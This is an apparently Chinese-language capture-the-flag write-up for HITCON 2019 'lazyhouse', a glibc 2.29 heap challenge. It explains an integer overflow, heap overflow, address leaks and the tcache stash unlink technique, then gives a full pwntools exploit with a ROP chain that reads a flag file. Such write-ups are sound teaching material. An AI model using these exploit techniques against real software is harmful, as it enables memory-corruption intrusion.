hitcon_ctf_2019_lazyhouse-WP

Posted on Apr 13, 2021

hitcon 的题目还是非常有质量且紧跟时代潮流的,在 2019 年连出两道和 libc 2.29 相关的堆利用题,一题是 one_punch我的 WP,另一题就是就是本题,我并未在网络上找到环境,题目的二进制文件和 libc 可以在这里下载。Angel Boy 的题目自然质量有保证,我做了半天多才整出来。我使用的方法是所谓的 Tcache stash unlink attack+,在网络上并没有找到详细的同方法 WP,所以我这一篇就写的详细一些。

程序实现了 5 个功能,主要的漏洞点有两个

  1. 在 Buy House 功能中有整数溢出的漏洞,可以刷出非常多的钱。
  2. 在 Upgrade 中提供了堆溢出的功能,可以溢出 0x20 字节,总共可以溢出两次。

同时,在 Buy a super house 中,提供了一次使用 malloc 的机会,其余情况都只能使用 calloc。

刷钱

首先分析如何刷钱,这是本题利用的第一步

从 IDA 的反编译结果来看,不存在什么问题,但是从 218 * size <= money 这一句的汇编实现上来看

.text:0000000000001C84 loc_1C84:                               ; CODE XREF: buy_house+120j
.text:0000000000001C84                 mov     rax, [rbp+size]
.text:0000000000001C8B                 imul    rax, 0DAh
.text:0000000000001C92                 mov     [rbp+var_120], rax
.text:0000000000001C99                 lea     rax, money
.text:0000000000001CA0                 mov     rax, [rax]
.text:0000000000001CA3                 cmp     [rbp+var_120], rax
.text:0000000000001CAA                 jbe     short loc_1CBD

执行 imul rax, 0DAh 时,结果会保存为 rdx:rax 的形式,如果结果非常大,溢出到了 rdx 上,但又使 rax 上的值小于 money 中的值,就不会报钱不够,如果我们买一个 size 符合这样大小的房子再卖掉,就可以获得很多很多钱。这样的 size 也很好凑,比如 (2 ** 64) // 218 + 1 就可以实现。

leak libc_base 和 heap_base

由于 calloc 讨厌的清空分配空间的特性,传统的申请释放再申请的 leak 方法是无效的,据说 calloc 在对 mmap 的 chunk 是不会进行清空的,所以这也是一种 leak 的方法。不过我是使用 chunk overlapping 的方法实现的。利用 Upgrade 功能中的堆溢出,我们可以轻易地修改 chunk 的 size 字段,稍微布置一下就可以将该 chunk 的大小伪造的较大,使这个 chunk 包含多个其他 chunk,然后对这个 chunk 申请释放再申请,这个时候我们随时可以输出该 chunk 中的所有数据,然后我们 free 掉 chunk 中包含的多个 chunk,就可以把实现 leak。

for i in range(6):
    BuyHouse(0,0x100,'index:0')
    Sell(0)

BuyHouse(0,0x100,'index:0') # upgrade
BuyHouse(1,0x100,'index:1') # size changed
BuyHouse(2,0x100,'index:2') # leak heap_base
BuyHouse(3,0x100,'index:3') # leak libc_base
BuyHouse(4,0x100,'index:3') # fill size
BuyHouse(5,0x100,p64(0) + p64(0x21) * 10)
BuyHouse(6,0x100,'index:5=>protect')

Upgrade(0,'a' * 0x100 + p64(0) + p64(0x110 * 3 + 0x100 + 0x10 + 1))
Sell(1)
BuyHouse(1,0x430,('\x00' * 0x100 + p64(0) + p64(0x111)) * 3)

具体的布置方法如上,首先申请六个堆块,第零个堆块用来通过溢出修改 chunk 1 的 size 字段,用 chunk 5 帮助伪造,这样把 chunk 1 free 掉的时候就会把 chunk 2,3,4 一起扩进去。要注意的是将 chunk 1 申请回来的时候需要恢复堆布局,不然之后就无法 free 中间的堆块

Sell(2)
Sell(3)

Show(1)

然后把 2,3 两个堆块 free 掉,就可以实现 leak 了。其中第二个堆块进入 Tcache 并填满之,fd 指向一个堆块,通过调试可以求出偏移,就可以算出堆基址。第三个堆块就会进入 unsorted bin,fd 指向 main_arena + 96,就可以算出 libc 基址。

sh.recv(0x110)
heap_base = u64(sh.recv(8)) - 0x7B0
log.success("heap_base:" + hex(heap_base))
sh.recv(0x110)
libc_base = u64(sh.recv(8)) - libc.sym["__malloc_hook"] - 0x10 - 96
log.success("libc_base:" + hex(libc_base))

Sell(0)
Sell(4)
Sell(5)
Sell(6)

由于堆块的申请有上限,需要将申请来的释放掉以便于下一步利用,这里的释放顺序需要注意,一些顺序是会导致分配器报错的。

leak 出了 libc 基质之后,由于可以对 tcache 的 next 指针任意写,所以直接 Tcache poisoning 是一个最自然的选择,但是本题只能用一次 malloc,而 Tcache poisoning 需要从 Tcahce 中取出两次 chunk 才可以实现分配,calloc 又不会从 Tcache 中取 chunk,所以需要用到能够不用 malloc 就实现将目标地址写到 tcache_entry 的方法。

libc 2.29 中新增 stash 机制

if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
	  if (__glibc_unlikely (bck->fd != victim))
	    malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

          if (av != &main_arena)
	    set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
	  /* While we're here, if we see other chunks of the same size,
	     stash them in the tcache.  */
	  size_t tc_idx = csize2tidx (nb);
	  if (tcache && tc_idx < mp_.tcache_bins)
	    {
	      mchunkptr tc_victim;

	      /* While bin not empty and tcache not full, copy chunks over.  */
	      while (tcache->counts[tc_idx] < mp_.tcache_count
		     && (tc_victim = last (bin)) != bin)
		{
		  if (tc_victim != 0)
		    {
		      bck = tc_victim->bk;
		      set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &main_arena)
			set_non_main_arena (tc_victim);
		      bin->bk = bck;
		      bck->fd = bin;

		      tcache_put (tc_victim, tc_idx);
	            }
		}
	    }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

所谓 stash 机制,其实就是尽量将各种传统 bin 中的 chunk 放到对应的 Tcahce 中。比如对于一个 small request,过去是找到 best fit 直接返回,但是现在在 best fit 之后,还会将 small bin 中所有的 chunk 取出,尝试放入 Tcahce。在 stash 时仅仅对队头的 chunk(也就是将返回给用户的 chunk)的链表完整性进行了检测,之后的 stash 过程中所有的解链,则和老版本 unsorted bin unlink 一样,会在没有检测的情况下直接执行

bin->bk = bck;
bck->fd = bin;

这里的 bck 是 tc_victim->bk,而 tc_victim 则是队尾的 chunk。

Tcache stash unlink attack+ 的利用方法就是先在 Tcahce 中布置 5 个 chunk,在 small bin 中布置 2 个 chunk 共计 7 个大小相同的 chunk,为了叙述方便,记 small bin 中的两个 chunk 为 chunk A 和 chunk B,其中 chunk B 为后进入 small bin 中的 chunk。

在不破坏 chunk B 的 fd 的情况下,改写 chunk B 的 bk 指针为我们想要分配到的地址减 0x10(记作 p - 0x10)。当我们进行一个 small request 的时候,chunk A 会被返回给用户,chunk B 会被 stash,bin->bk 会被写成 p - 0x10。

由于此时 Tcache 没满,还会继续进行 stash,而下一个 tc_victim 被赋值为 bin->bk,他指向的就是 p - 0x10,会被放到 Tcache 中,不过此时由于还会执行 bck->fd = bin,所以要保证 *(p + 0x8) 可写,只要这样就可以把目标地址放到 Tcache 中了。

这里为了实现 Tcache 中 5 个 chunk,small bin 中 2 个chunk,需要利用 unsorted bin 的前向合并,通过将两个 unsorted bin 合并成为和 Tcache 中 chunk 一样大小,然后进行一个较大的 request 把这两个 chunk 放到 small bin 中,就可以完成布置。

BuyHouse(2,0x100,'index:2') #Upgrade
BuyHouse(3,0x100,'index:3')
BuyHouse(4,0x100,'index:4')
BuyHouse(5,0x100,'index:5') #Upgrade
BuyHouse(6,0x100,'index:6')
BuyHouse(7,0x100,'index:7')
BuyHouse(0,0x100,'protect')

Sell(4)
Sell(3)

Sell(7)
Sell(6)
BuyHouse(3,0x400,"pass") # make the unsorted to small

如上构造即可

BuyHouse(3,0x400,rop_chain) # make the unsorted to small

__malloc_hook_addr = libc_base + libc.symbols["__malloc_hook"]
fd_origin = heap_base + 0x1680
alloc_addr = __malloc_hook_addr - 0x200 - 0x10

Upgrade(5,'a' * 0x100 + p64(0) + p64(0x221) + p64(fd_origin) + p64(alloc_addr))

BuyHouse(4,0x210,'pass')

然后通过 upgrade 修改 chunk B 的 fd 和 bk 后,再进行一次申请,触发 stash,就可以把目标地址放到 tcache 里面了。注意为了满足分配地址 + 8 处指向的地址可写,不能直接分配到 __malloc_hook 上,而是需要向前找。我选择了使用 _IO_2_1_stdin_ 中的大量缓冲区指针来构造。

类似于 one_punch,此题也开启了白名单,需要使用 orw,one_punch 使用的是 add rsp 的 gadget,这种方法在本题失效。但是可以容易地注意到,calloc 地时候,使用了 rbp 传递需要分配的大小,所以我们把 __malloc_hook 修改为 leave ; ret,就可以栈迁移到堆上进行 rop 了。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]

sh = process("./lazyhouse")
#libc = ELF("/glibc/2.29/64/lib/libc.so.6")
libc = ELF("./libc.so.6")

def BuyHouse(index,size,payload):
    sh.sendlineafter("Your choice: ",str(1))
    sh.sendlineafter("Index:",str(index))
    sh.sendlineafter("Size:",str(size))
    sh.sendafter("House:",payload)

def Show(index):
    sh.sendlineafter("Your choice: ",str(2))
    sh.sendlineafter("Index:",str(index))

def Sell(index):
    sh.sendlineafter("Your choice: ",str(3))
    sh.sendlineafter("Index:",str(index))

def Upgrade(index,payload):
    sh.sendlineafter("Your choice: ",str(4))
    sh.sendlineafter("Index:",str(index))
    sh.sendafter("House:",payload)

def BuySuperHouse(payload):
    sh.sendlineafter("Your choice: ",str(5))
    sh.sendafter("House:",payload)

over_flow_size = (2 ** 64) // 218 + 1
sh.sendlineafter("Your choice: ",str(1))
sh.sendlineafter("Index:",str(0))
sh.sendlineafter("Size:",str(over_flow_size))

Sell(0)
''' now we have lots of money '''

for i in range(6):
    BuyHouse(0,0x100,'index:0')
    Sell(0)

for i in range(5):
    BuyHouse(0,0x210,'index:0')
    Sell(0)

BuyHouse(0,0x100,'index:0') # upgrade
BuyHouse(1,0x100,'index:1') # size changed
BuyHouse(2,0x100,'index:2') # leak heap_base
BuyHouse(3,0x100,'index:3') # leak libc_base
BuyHouse(4,0x100,'index:3') # fill size
BuyHouse(5,0x100,p64(0) + p64(0x21) * 10)
BuyHouse(6,0x100,'index:5=>protect')

Upgrade(0,'a' * 0x100 + p64(0) + p64(0x110 * 3 + 0x100 + 0x10 + 1))
Sell(1)
BuyHouse(1,0x430,('\x00' * 0x100 + p64(0) + p64(0x111)) * 3)
Sell(2)
Sell(3)

Show(1)
sh.recv(0x110)
heap_base = u64(sh.recv(8)) - 0x7B0
log.success("heap_base:" + hex(heap_base))
sh.recv(0x110)
libc_base = u64(sh.recv(8)) - libc.sym["__malloc_hook"] - 0x10 - 96
log.success("libc_base:" + hex(libc_base))

Sell(0)
Sell(4)
Sell(5)
Sell(6)

BuyHouse(2,0x100,'index:2') #Upgrade
BuyHouse(3,0x100,'index:3')
BuyHouse(4,0x100,'index:4')
BuyHouse(5,0x100,'index:5') #Upgrade
BuyHouse(6,0x100,'index:6')
BuyHouse(7,0x100,'index:7')
BuyHouse(0,0x100,'protect')

Sell(4)
Sell(3)

Sell(7)
Sell(6)

# set rop
pop_rdi_ret = libc_base + 0x26542
pop_rsi_ret = libc_base + 0x26f9e
pop_rdx_ret = libc_base + 0x12bda6
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]
syscall_addr = libc_base + 0xcf6c5
pop_rax_ret = libc_base + 0x47cf8
leave_ret = libc_base + 0x58373

rop_chain_addr = heap_base + 0x1CF0

rop_chain = p64(pop_rdi_ret) + p64(rop_chain_addr + 0x300)
rop_chain += p64(pop_rsi_ret) + p64(0)
rop_chain += p64(pop_rdx_ret) + p64(0)
rop_chain += p64(pop_rax_ret) + p64(2)
rop_chain += p64(syscall_addr) # sys_open("./flag")
rop_chain += p64(pop_rdi_ret) + p64(3)          # fd
rop_chain += p64(pop_rsi_ret) + p64(heap_base)  # buf
rop_chain += p64(pop_rdx_ret) + p64(0x100)      # len
rop_chain += p64(read_addr) # read(3,heap_base,0x100)
rop_chain += p64(pop_rdi_ret) + p64(1)          # fd
rop_chain += p64(pop_rsi_ret) + p64(heap_base)  # buf
rop_chain += p64(pop_rdx_ret) + p64(0x100)      # len
rop_chain += p64(write_addr) # write(1,heap_base,0x100)
rop_chain = rop_chain.ljust(0x300,'a')
rop_chain += './flag'


BuyHouse(3,0x400,rop_chain) # make the unsorted to small

__malloc_hook_addr = libc_base + libc.symbols["__malloc_hook"]
fd_origin = heap_base + 0x1680
alloc_addr = __malloc_hook_addr - 0x200 - 0x10

Upgrade(5,'a' * 0x100 + p64(0) + p64(0x221) + p64(fd_origin) + p64(alloc_addr))

BuyHouse(4,0x210,'pass')

BuySuperHouse("b"* 0x200 + p64(leave_ret))

sh.sendlineafter("Your choice: ",str(1))
sh.sendlineafter("Index:",str(7))
#gdb.attach(proc.pidof(sh)[0])
sh.sendlineafter("Size:",str(rop_chain_addr - 0x8))

sh.interactive()

此题还是非常麻烦的。遗憾没有靶机给我日,感觉失去了一些仪式感。